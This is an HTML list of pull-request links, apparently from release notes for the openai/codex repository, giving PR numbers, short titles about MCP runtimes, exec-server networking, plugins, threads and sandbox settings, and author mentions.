<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962891693" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35011" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35011/hovercard" href="https://github.com/openai/codex/pull/35011">#35011</a> Keep side conversations open when switching threads <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962911132" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35012" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35012/hovercard" href="https://github.com/openai/codex/pull/35012">#35012</a> Expose remote skill icon URLs through app server <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962981587" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35013" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35013/hovercard" href="https://github.com/openai/codex/pull/35013">#35013</a> Support incremental replay of updated thread items <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963071494" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35015" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35015/hovercard" href="https://github.com/openai/codex/pull/35015">#35015</a> Align installed app duration metrics with the legacy baseline <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963185714" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35016" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35016/hovercard" href="https://github.com/openai/codex/pull/35016">#35016</a> Add trusted plugin script attribution <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963430958" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35020" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35020/hovercard" href="https://github.com/openai/codex/pull/35020">#35020</a> Attribute command executions to trusted plugin scripts <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963449838" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35021" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35021/hovercard" href="https://github.com/openai/codex/pull/35021">#35021</a> Adapt keyboard event reporting to the terminal <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963472422" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35023" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35023/hovercard" href="https://github.com/openai/codex/pull/35023">#35023</a> Route exec-server HTTP through configured proxy policy <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963629318" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35028" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35028/hovercard" href="https://github.com/openai/codex/pull/35028">#35028</a> Preserve refreshed Apps tools across MCP runtime updates <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963651536" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35029" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35029/hovercard" href="https://github.com/openai/codex/pull/35029">#35029</a> Preserve plugin attribution across command approvals <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963672841" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35031" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35031/hovercard" href="https://github.com/openai/codex/pull/35031">#35031</a> Enforce writer ownership for thread archive and deletion <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963690114" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35033" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35033/hovercard" href="https://github.com/openai/codex/pull/35033">#35033</a> Expose Browser Use requirements through the app server <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963711150" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35034" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35034/hovercard" href="https://github.com/openai/codex/pull/35034">#35034</a> Route environment registry requests through the shared HTTP client <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963755732" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35036" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35036/hovercard" href="https://github.com/openai/codex/pull/35036">#35036</a> Preserve Windows sandbox proxy settings in guardian sessions <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963852878" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35048" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35048/hovercard" href="https://github.com/openai/codex/pull/35048">#35048</a> Track app/read request duration <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963877727" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35049" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35049/hovercard" href="https://github.com/openai/codex/pull/35049">#35049</a> Register the Guardian V2 feature flag <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963927849" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35054" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35054/hovercard" href="https://github.com/openai/codex/pull/35054">#35054</a> Allow disabling the update_plan tool <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963960324" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35056" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35056/hovercard" href="https://github.com/openai/codex/pull/35056">#35056</a> Route exec-server WebSockets through configured proxies <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964131829" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35059" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35059/hovercard" href="https://github.com/openai/codex/pull/35059">#35059</a> Decouple exec-server HTTP from reqwest types <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964276766" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35063" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35063/hovercard" href="https://github.com/openai/codex/pull/35063">#35063</a> Track deferred tool namespaces in world state <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964293279" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35065" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35065/hovercard" href="https://github.com/openai/codex/pull/35065">#35065</a> Avoid duplicating deferred sources in tool search <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964346273" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35067" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35067/hovercard" href="https://github.com/openai/codex/pull/35067">#35067</a> Fix Bazel test configuration for platform-specific data <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964666179" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35078" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35078/hovercard" href="https://github.com/openai/codex/pull/35078">#35078</a> Add WebSocket transport to the code-mode host <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965226945" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35098" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35098/hovercard" href="https://github.com/openai/codex/pull/35098">#35098</a> Support remote code-mode hosts in app-server <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965647957" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35105" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35105/hovercard" href="https://github.com/openai/codex/pull/35105">#35105</a> Support Agent Plugins manifests <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965672480" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35106" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35106/hovercard" href="https://github.com/openai/codex/pull/35106">#35106</a> Allow hosts to customize <code>wait_for_environment</code> descriptions <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967219687" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35144" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35144/hovercard" href="https://github.com/openai/codex/pull/35144">#35144</a> Prewarm MCP runtime updates in the background <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967295452" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35146" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35146/hovercard" href="https://github.com/openai/codex/pull/35146">#35146</a> Refresh MCP runtimes when session auth changes <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967527960" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35151" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35151/hovercard" href="https://github.com/openai/codex/pull/35151">#35151</a> Reconnect MCP servers on explicit refresh <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4968189440" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35164" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35164/hovercard" href="https://github.com/openai/codex/pull/35164">#35164</a> Encapsulate MCP refresh coordination <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4968411750" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35168" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35168/hovercard" href="https://github.com/openai/codex/pull/35168">#35168</a> Route extension warnings to app-server threads <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4968629408" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35172" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35172/hovercard" href="https://github.com/openai/codex/pull/35172">#35172</a> Compact host skill paths under metadata pressure <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4968675304" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35175" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35175/hovercard" href="https://github.com/openai/codex/pull/35175">#35175</a> Wait for reloaded worker completion in the resume test <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969018472" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35184" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35184/hovercard" href="https://github.com/openai/codex/pull/35184">#35184</a> Expose executor skills through skill tools <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969431153" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35194" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35194/hovercard" href="https://github.com/openai/codex/pull/35194">#35194</a> Preserve output from hooks that exit before reading stdin <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969462202" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35196" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35196/hovercard" href="https://github.com/openai/codex/pull/35196">#35196</a> Make the Apps recovery exposure test deterministic <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969519422" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35198" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35198/hovercard" href="https://github.com/openai/codex/pull/35198">#35198</a> Enable resource reads for explicit executor skills <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969670750" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35204" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35204/hovercard" href="https://github.com/openai/codex/pull/35204">#35204</a> Refresh MCP runtimes across thread startup <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969752087" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35205" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35205/hovercard" href="https://github.com/openai/codex/pull/35205">#35205</a> Use current MCP authority for elicitation reviews <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970304345" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35213" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35213/hovercard" href="https://github.com/openai/codex/pull/35213">#35213</a> Refresh managed MCP requirements for active threads <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970423198" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35216" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35216/hovercard" href="https://github.com/openai/codex/pull/35216">#35216</a> Refresh MCP config independently across threads <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970699357" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35220" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35220/hovercard" href="https://github.com/openai/codex/pull/35220">#35220</a> Support paginated thread forks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970768614" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35221" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35221/hovercard" href="https://github.com/openai/codex/pull/35221">#35221</a> Avoid persisting non-local threads for hook transcripts <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971566155" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35238" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35238/hovercard" href="https://github.com/openai/codex/pull/35238">#35238</a> Support the ent26 enterprise plan <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971599838" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35239" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35239/hovercard" href="https://github.com/openai/codex/pull/35239">#35239</a> Route MCP auth discovery through runtime HTTP clients <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972395440" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35251" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35251/hovercard" href="https://github.com/openai/codex/pull/35251">#35251</a> Support ephemeral forks of paginated threads <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972508478" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35254" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35254/hovercard" href="https://github.com/openai/codex/pull/35254">#35254</a> Expose workspace plugin publish capability <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973014911" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35261" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35261/hovercard" href="https://github.com/openai/codex/pull/35261">#35261</a> Propagate remote plugin IDs to skill metadata <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973035445" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35262" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35262/hovercard" href="https://github.com/openai/codex/pull/35262">#35262</a> Track remote plugin IDs in skill invocation analytics <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973056258" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35264" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35264/hovercard" href="https://github.com/openai/codex/pull/35264">#35264</a> Sign bundled macOS helper binaries <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973132479" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35266" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35266/hovercard" href="https://github.com/openai/codex/pull/35266">#35266</a> Allow disabling the in-process code-mode host fallback <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973175247" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35267" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35267/hovercard" href="https://github.com/openai/codex/pull/35267">#35267</a> Harden network approval cancellation and concurrency <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973388560" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35271" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35271/hovercard" href="https://github.com/openai/codex/pull/35271">#35271</a> Include code-mode tool names in Responses Lite metadata <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973506694" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35275" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35275/hovercard" href="https://github.com/openai/codex/pull/35275">#35275</a> Trace remote exec-server connection setup <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973623311" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35280" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35280/hovercard" href="https://github.com/openai/codex/pull/35280">#35280</a> Skip plugin MCP filtering when no allowlists are configured <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4976509372" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35359" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35359/hovercard" href="https://github.com/openai/codex/pull/35359">#35359</a> Handle exec-server network policy requests in the client <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4976525276" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35363" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35363/hovercard" href="https://github.com/openai/codex/pull/35363">#35363</a> Include item start times in completion events <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4976549599" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35364" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35364/hovercard" href="https://github.com/openai/codex/pull/35364">#35364</a> Bound Code Mode metadata compatibility headers <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
